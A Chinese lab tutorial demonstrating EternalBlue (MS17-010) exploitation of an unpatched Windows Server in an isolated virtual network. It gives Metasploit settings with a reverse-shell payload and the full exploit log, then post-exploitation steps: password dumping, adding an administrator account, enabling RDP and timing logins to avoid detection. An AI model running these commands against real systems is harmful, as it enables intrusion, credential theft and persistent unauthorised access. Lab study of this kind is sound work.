目录
本文详细介绍了利用永恒之蓝(MS17-010)漏洞进行渗透测试的全过程。首先说明永恒之蓝是影响Windows SMBv1协议的高危漏洞,可导致远程代码执行。测试步骤包括:1)搭建靶机环境(关闭防火墙和更新);2)使用nmap探测445端口和漏洞;3)通过MSF框架加载攻击模块,配置并执行渗透;4)成功后进行后渗透操作,包括获取系统信息、创建管理员账户、远程桌面连接等。文中提供了完整的命令操作流程和原理说明,展示了从漏洞扫描到完全控制靶机的完整攻击链。渗透拓扑如下所示。
| 组件 | 角色 | IP 地址 | 操作系统 | 关键服务/软件 | 说明 |
|---|---|---|---|---|---|
| Kali Linux | 攻击机 | 192.168.59.128 |
Kali Linux | Metasploit, Nmap | 用于发起MS17-010漏洞攻击。 |
| Windows Server | 靶机 | 192.168.59.144 |
Windows Server (未打补丁) | SMBv1 服务 | 存在永恒之蓝漏洞,开放445端口。 |
| 虚拟网络 | 攻击链路 | 192.168.59.0/24 |
VMware/Hyper-V 虚拟网络 | - | 隔离的网络环境,确保攻击不会影响到外部真实网络。 |
一、永恒之蓝
1、漏洞简介
"永恒之蓝"(EternalBlue)是一个利用微软Windows系统SMBv1协议 中MS17-010漏洞 的远程代码执行攻击工具。它最初由美国国家安全局(NSA)开发,在2017年4月被黑客组织"影子经纪人"(Shadow Brokers)泄露,随后被用于全球性的大规模网络攻击,例如同年5月爆发的WannaCry勒索病毒事件。
| 项目 | 详细说明 |
|---|---|
| 漏洞名称 | 永恒之蓝 (EternalBlue) |
| 官方编号 | MS17-010 |
| 漏洞类型 | 远程代码执行 (Remote Code Execution) |
| 影响协议 | SMBv1 (服务器消息块协议版本 1) |
| 风险等级 | 高危 / 严重 |
| 影响范围 | Windows NT 系列操作系统,包括 Windows XP, 7, 8, Server 2003, 2008, 2012 等 |
| 利用端口 | TCP 445 |
| 核心原理 | 利用 SMBv1 协议特制请求时的缓冲区溢出漏洞,攻击者无需用户名密码即可远程控制目标 |
| 主要危害 | 1. 系统完全被控 :获取系统级最高权限。 2. 蠕虫式传播 :可在内网中自我复制传播。 3. 植入恶意软件:如勒索病毒、挖矿木马、后门等。 |
| 著名事件 | WannaCry 勒索病毒、NotPetya 勒索病毒 |
| 防护措施 | 1. 安装补丁 :及时安装微软官方发布的 MS17-010 补丁。 2. 关闭端口 :在防火墙禁用 135、139、445 端口的外部访问。 3. 升级协议:禁用老旧的 SMBv1 协议,升级至 SMBv2 或 v3。 |
2、漏洞原理
永恒之蓝的本质是一个 SMBv1 协议中的远程代码执行漏洞。
(1)漏洞根源:缓冲区溢出
漏洞存在于 Windows SMBv1 服务器的 srv.sys 内核驱动文件中。具体位置在处理 SMBv1 的 Trans2 二次请求 时。
-
正常情况:客户端请求数据时,会告知服务器缓冲区大小,服务器根据这个大小来分配和拷贝内存。
-
漏洞情况 :攻击者可以在一个数据包中,谎报 实际数据量(比如声称数据量很小),但实际发送的数据量却很大。由于缺乏严格的边界检查,
srv.sys会将这些过量的数据拷贝到内核中一个分配好的、但尺寸不足的缓冲区里。
(2)内核内存的越界写入
这导致了 内核级的缓冲区溢出。多余的数据会覆盖缓冲区之后的内核内存空间。这部分被覆盖的内存原本存储着其他重要的数据或代码。
(3)精妙的利用:从溢出到代码执行
单纯让系统崩溃(蓝屏)是简单的,但实现远程代码执行是复杂的。永恒之蓝的精妙之处在于它如何精准控制这一溢出过程:
-
精心构造的溢出数据:攻击者发送的数据包中,溢出部分不是随机数据,而是精心编排的:
-
Shellcode:一小段用于执行最终目标的机器代码。
-
内存布局操控数据:用于引导系统执行流跳转到攻击者的 Shellcode。
-
-
利用内存池的可预测性 :Windows 内核使用一种叫 内存池 的机制来管理内存。永恒之蓝通过多次发送特定大小的SMB数据包,来"塑造"内核内存池的布局,使其变得相对可预测。这确保了当溢出发生时,溢出数据会覆盖到一个已知且有用的位置。
-
函数指针覆盖 :一种常见的技术是覆盖一个 函数指针 或 返回地址。当内核后续需要调用这个函数时,它实际上跳转到了被攻击者覆盖的地址,从而开始执行攻击者的 Shellcode。
(4)权限提升与载荷部署
-
权限 :由于漏洞发生在内核层(Ring 0),成功利用后获得代码执行权限是 系统最高权限。
-
载荷:攻击者预先准备好的 Shellcode 通常会执行以下操作:
-
在目标系统上创建一个新的系统进程。
-
从攻击者的机器下载并运行真正的恶意载荷(例如:后门程序、Meterpreter 等)。
-
这个后门程序通常以最高权限运行,从而完全控制目标机器。
-
3、攻击链条
| 步骤 | 关键动作 | 结果 |
|---|---|---|
| 1. 侦察 | 扫描开放 445 端口的 Windows 机器。 | 发现潜在目标。 |
| 2. 触发 | 发送特殊构造的 SMBv1 Trans2 请求数据包。 | 触发 srv.sys 中的缓冲区溢出漏洞。 |
| 3. 利用 | 溢出数据覆盖内核内存,控制程序执行流。 | 跳转并执行攻击者的 Shellcode。 |
| 4. 执行 | Shellcode 以 SYSTEM 权限运行,加载最终载荷。 | 目标系统被完全控制。 |
二、环境搭建
1、受影响的操作系统
永恒之蓝(MS17-010)漏洞影响范围非常广泛,涵盖了当时几乎所有主流的 Windows 操作系统版本。以下是受影响的存在漏洞的操作系统 列表,在2017年3月之前发布且未及时安装MS17-010补丁的Windows系统,几乎全部暴露在永恒之蓝漏洞的威胁之下。
| 操作系统系列 | 具体版本 |
|---|---|
| Windows NT | Windows NT 4.0 |
| Windows 2000 | 所有版本 |
| Windows XP | 所有版本(包括 x64 和 Embedded) |
| Windows Vista | 所有版本 |
| Windows Server 2003 | 所有版本(包括 R2) |
| Windows 7 | Windows 7 SP1 及之前的所有版本 |
| Windows Server 2008 | 所有版本(包括 R2,SP1 及之前) |
| Windows 8 | 所有版本 |
| Windows 8.1 | 所有版本 |
| Windows Server 2012 | 所有版本(包括 R2) |
| Windows 10 | 2017年3月之前发布的版本(包括初版、1511、1607) |
| Windows Server 2016 | 2017年3月之前发布的初始版本 |
2、拓扑搭建
本文使用的渗透环境由攻击机Kali Linux(192.168.59.128)和靶机Windows Server(192.168.59.144)组成。两台主机均接入同一虚拟子网(192.168.59.0/24),如下所示。
| 角色 | 系统 | IP地址 | 关键配置 |
|---|---|---|---|
| 攻击机 | Kali Linux | 192.168.59.128 | 安装Metasploit框架 |
| 靶机 | Windows Server | 192.168.59.144 | 开启445端口,未打MS17-010补丁 |

-
网络环境 :攻击机(Kali Linux)和靶机(Windows Server)位于同一个虚拟子网(
192.168.59.0/24)中,这意味着它们之间是网络可达的,可以直接相互通信。 -
攻击路径 :攻击流程将从Kali Linux(
192.168.59.128)发起,目标指向Windows Server(192.168.59.144)的445端口。 -
连通性验证 :在开始攻击前,可以使用
ping命令验证两台主机之间的网络连通性:-
在 Kali 上执行:
ping 192.168.59.144 -
在 Windows Server 上执行:
ping 192.168.59.128
-
3、确保靶机防火墙关闭
本文使用windows server 2008R2进行漏洞复现,靶机安装好后首先关闭防火墙,如下所示。

4、确保靶机的更新关闭
为了确保漏洞被成功复现,还需要关闭更新,只有没有安装MS17-010 安全补丁的系统才可以复现永恒之蓝漏洞。

MS17-010 漏洞的补丁号不是单一的,它根据不同的 Windows 操作系统版本对应着不同的补丁编号,以下是主要的补丁号列表,可以通过打开 控制面板 > 程序和功能 > 查看已安装的更新判断是否已经打补丁。
| 操作系统版本 | 补丁编号 (KB) |
|---|---|
| Windows 7 / Windows Server 2008 R2 | KB4012212 或 KB4012215 |
| Windows 8.1 / Windows Server 2012 R2 | KB4012213 或 KB4012216 |
| Windows 10 (初版, 1507) | KB4012606 |
| Windows 10 (1511) | KB4013198 |
| Windows 10 (1607) | KB4013429 |
| Windows Server 2016 | KB4013429 |
| Windows Server 2012 | KB4012214 或 KB4012217 |
三、漏洞探测
1、探测445端口是否开启
使用nmap命令探测靶机445端口是否开启,如下所示,靶机存在445端口开启的问题,可能存在永恒之蓝漏洞,如果此步骤失败,说明你得靶机环境搭建出现问题,很大可能是防火墙没关闭或者打了补丁,需要重新搭建环境。

2、nmap探测永恒之蓝漏洞
使用nmap --script=vuln 192.168.59.144探测漏洞, 运行所有与漏洞检测相关的 Nmap 脚本,如下所示靶机上扫到了4个漏洞,其中包括了MS17-010。
-
--script=vuln:启用所有分类为"漏洞"的 NSE 脚本 -
192.168.59.144:目标靶机 IP 地址

四、渗透实战
1、msfconsole
攻击机使用msconsole启动MSF模块,如下所示。

2、查找ms17-010
Ms17-010为永恒之蓝攻击模块名称,使用search ms17-010查找,具体如下所示。

3、漏洞扫描
使用use 0进入永恒之蓝扫描模块,并展示配置选项,如下所示。

使用set rhosts 192.168.59.144设置靶机的ip地址为攻击目标,如下所示。

执行run或者exploit进行渗透,如下所示探测到存在永恒之蓝漏洞,如下所示。

4、ms17-010渗透
使用use 0进行ms17-010漏洞渗透,具体配置如下所示。
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set RHOST 192.168.59.144
set LHOST 192.168.59.128
set RPORT 445
- set payload :设置payload,这里用set payload windows/x64/meterpreter/reverse_tcp
- set RHOST 目标主机地址 :该命令会设置好要攻击的目标主机地址
- set LHOST 攻击机地址 :该命令设置攻击机的地址,使目标主机回连至攻击机
- set LPORT 回连的端口 :该命令设置目标主机回连至攻击机的端口,默认为4444

5、确认配置
执行完毕后通过show options查询配置,目标靶机的 ip 地址为 192.168.59.144 ,端口号为 445 ,与配置一致,攻击的机器ip 地址为 192.168.59.128,与配置一致,如下所示配置无误。

6、开启攻击
执行run或者exploit进行渗透,如下所示渗透成功,如下所示。

完整的渗透输出如下所示。
完整内容如下所示:
[*] Started reverse TCP handler on 192.168.59.128:4444
[*] 192.168.59.144:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.59.144:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Datacenter 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.59.144:445 - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.59.144:445 - The target is vulnerable.
[*] 192.168.59.144:445 - Connecting to target for exploitation.
[+] 192.168.59.144:445 - Connection established for exploitation.
[+] 192.168.59.144:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.59.144:445 - CORE raw buffer dump (53 bytes)
[*] 192.168.59.144:445 - 0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2
[*] 192.168.59.144:445 - 0x00000010 30 30 38 20 52 32 20 44 61 74 61 63 65 6e 74 65 008 R2 Datacente
[*] 192.168.59.144:445 - 0x00000020 72 20 37 36 30 31 20 53 65 72 76 69 63 65 20 50 r 7601 Service P
[*] 192.168.59.144:445 - 0x00000030 61 63 6b 20 31 ack 1
[+] 192.168.59.144:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.59.144:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.59.144:445 - Sending all but last fragment of exploit packet
[*] 192.168.59.144:445 - Starting non-paged pool grooming
[+] 192.168.59.144:445 - Sending SMBv2 buffers
[+] 192.168.59.144:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.59.144:445 - Sending final SMBv2 buffers.
[*] 192.168.59.144:445 - Sending last fragment of exploit packet!
[*] 192.168.59.144:445 - Receiving response from exploit packet
[+] 192.168.59.144:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.59.144:445 - Sending egg to corrupted connection.
[*] 192.168.59.144:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 192.168.59.144
[*] Meterpreter session 1 opened (192.168.59.128:4444 -> 192.168.59.144:49160) at 2024-05-07 02:17:29 +0800
[+] 192.168.59.144:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.59.144:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.59.144:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
五、后渗透实战
1、显示靶机系统信息

2、查看用户身份

3、屏幕截图

此时打开kali,此图片如下所示。


4、查看ip地址

5、开启远程桌面

6、查看空闲时间
使用idletime查看idle时间,此命令一般配合查看远程用户的空闲时长,空闲时间长再进行远程登陆,减小被发现的风险。登录rdp会把对方顶掉。

7、抓取密码


8、获取webshell
(1)进入命令行环境
在Meterpreter会话中直接输入 shell 即可切换到目标系统的命令行环境(如Windows的cmd或Linux的bash),从而执行原生系统命令。

(2)消除乱码
执行chcp 65001命令, 将Windows命令提示符的字符编码设置为UTF-8,解决多语言文本(如中文、日文、特殊符号)显示乱码的问题,确保终端能正确渲染Unicode字符,避免程序输出或文件内容因编码不匹配而显示异常。其原理是将Windows控制台的字符编码从默认的本地代码页切换到UTF-8编码,从而支持全球字符集和特殊符号显示。
-
chcp:Change Code Page(更改代码页) -
65001:UTF-8 编码的代码页编号

(3)新建管理员账户
我们通过先创建普通用户,再将其加入管理员组来新疆管理员账户,具体命令如下所示。
net user 用户名 密码 /add
net localgroup administrators 用户名 /add
使用net user 用户名 密码 /add创建一个新的本地用户账户。其中"用户名"指定账户名称,"密码"设置登录密码,/add参数表示执行添加操作。该命令仅创建普通用户,权限有限。使用net localgroup administrators 用户名 /add将指定用户提升为管理员权限的命令。它将用户添加到系统的"administrators"本地组中,使其获得完全的系统控制权,包括安装软件、修改系统设置、管理其他用户等高级权限。

(4)远程桌面连接靶机
创建好管理员用户后,使用rdesktop连接靶机的远程桌面,如下所示。

输入刚刚新建的用户名和密码,并点击登录,如下所示成功登录远程桌面。

